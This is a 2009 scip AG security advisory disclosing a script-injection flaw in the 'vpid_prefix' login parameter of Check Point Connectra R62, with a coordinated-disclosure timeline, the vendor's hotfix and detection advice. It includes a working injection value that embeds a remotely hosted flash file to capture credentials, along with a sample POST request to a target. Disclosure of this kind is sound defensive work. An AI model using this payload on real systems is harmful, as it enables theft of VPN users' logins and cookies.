[scip_Advisory 4020] Check Point Connectra R62 Login Script Injection Vulnerability
Check Point Connectra R62 Login Script Injection Vulnerability
scip AG Vulnerability ID 4020 (09/04/2009)
Check Point Connectra is a so-called SSL-VPN solution, which allows
users to access a remote system using a regular web browser.
More information is available on the official product web site at the
Stefan Friedli at scip AG (Switzerland) found an input validation error
within the current release, which enabled an attacker to perform various
The initial logon script at /Login/Login, that is being used for
unauthenticated users to log in, fails to perform proper input
validation on the data that is being submitted via HTTP POST. While
certain fields are escaped before being sent back to users browser, the
parameter "vpid_prefix" lacks any validation and is therefore vulnerable
to script injection.
Other parts of the application might be affected too.
This vulnerability has been tested on version R62, other versions might
be affected as well.
Classic script injection techniques and unexpected input data within a
browser session can be used to exploit these vulnerabilities. The target
application does actually check for certain patterns and prevents an
attacker from using easy exploiting strings containing substrings like
be an imperfect mechanism that is unable to prevent an attack using a
more sophisticated payload. For a selection, you might want to check
RSnakes popular XSS Cheat Sheet, which contains several patterns not
being detected by the filter in place, allowing you execute any
arbitrary, externally hosted payload.
We exploited the vulnerability for a customer in order to proof the
possibility to capture usernames and passwords. One of the possibilities
mentioned above is, to embed a remote flash file and grant it the
permission to execute script code.=20
Vulnerable Variable Value:
vpid_prefix =3D "><embed/src=3D"http://www.scip.ch/p/s/w/ccs.swf"=20
--- CUT ---
POST https://TARGET:443/Login/Login HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:184.108.40.206)
Cookie: CheckCookieSupport=3D1; ICSCookie=3D***purged***; =
--- CUT END ---
--- CUT ---
<input type=3D"hidden" id=3D"vpid_prefix" name=3D"vpid_prefix"
--- CUT END ---
Because non-authenticated parts of the software are affected, this
vulnerability is serious for every secure environment. Non-authenticated
users might be able to exploit this flaw to gain elevated privileges in
the target environment (e.g. extracting sensitive cookie information or
login information) or to perform any other form of web-based attacks.
Due to the fact that the application will often be allowed to make use
of ActiveX, it can also be used as a springboard to inject other
payloads, for example MS09-037 or any other vulnerability disclosed
lately, that might be exploited using a web browser.
Because other parts of the application might be affected too - this
could include some second order vulnerabilities - a severe attack
scenario might be possible.
Detection of web based attacks requires a specialized web proxy and/or
intrusion detection system. Patterns for such a detection are available
and easy to implement. Usually the mathematical or logical symbols for
less-than (<) and greater-than (>) are required to propose a HTML tag.
In some cases single () or double quotes (") are required to inject the
code in a given HTML statement. Some implementation of security systems
are looking for well-known attack tags as like <script> and attack
attributes onMouseOver too. However, these are usually not capable of
identifying highly optimized payload.
Check Point provides a hotfix for the vulnerability which should be
installed on vulnerable systems
VII. VENDOR RESPONSE
Check Point acknowledged the problem and provides a hotfix for the
Detailed information on the issue, maintained by Check Point, can be
scip AG - Security Consulting Information Process (german)
scip AG Vulnerability Database (german)
IX. DISCLOSURE TIMELINE
2009/09/04 Identification of the vulnerability, Vendor is being
2009/09/04 Check Point confirms the receipt of the notification
2009/09/04 scip AG confirms status and procedure
2009/09/06 Check Point confirms the existence of the flaw, agrees on the
proposed timeline for coordinated release and announces a hotfix
2009/09/06 scip AG confirms status and procedure
2009/09/16 Check Point states that the hotfix is currently in QA and
will be ready for coordinated release within the next week
2009/09/21 Check Point is ready to release the hotfix and a public
2009/09/21 scip AG confirms and coordinates public release of
The vulnerabilities were discovered by Stefan Friedli.
Stefan Friedli, scip AG, Zuerich, Switzerland
 Connectra Official Vendor Information, Check Point
 XSS Cheat Sheet, RSnake
 Microsoft Security Bulletin MS09-037 - Critical, Microsoft
 Check Point Vendor-Response on this issue
A2. LEGAL NOTICES
Copyright (c) 2002-2009 scip AG, Switzerland.
Permission is granted for the re-distribution of this alert. It may not
be edited in any way without permission of scip AG.
The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect or
consequential loss or damage from use of or reliance on this advisory.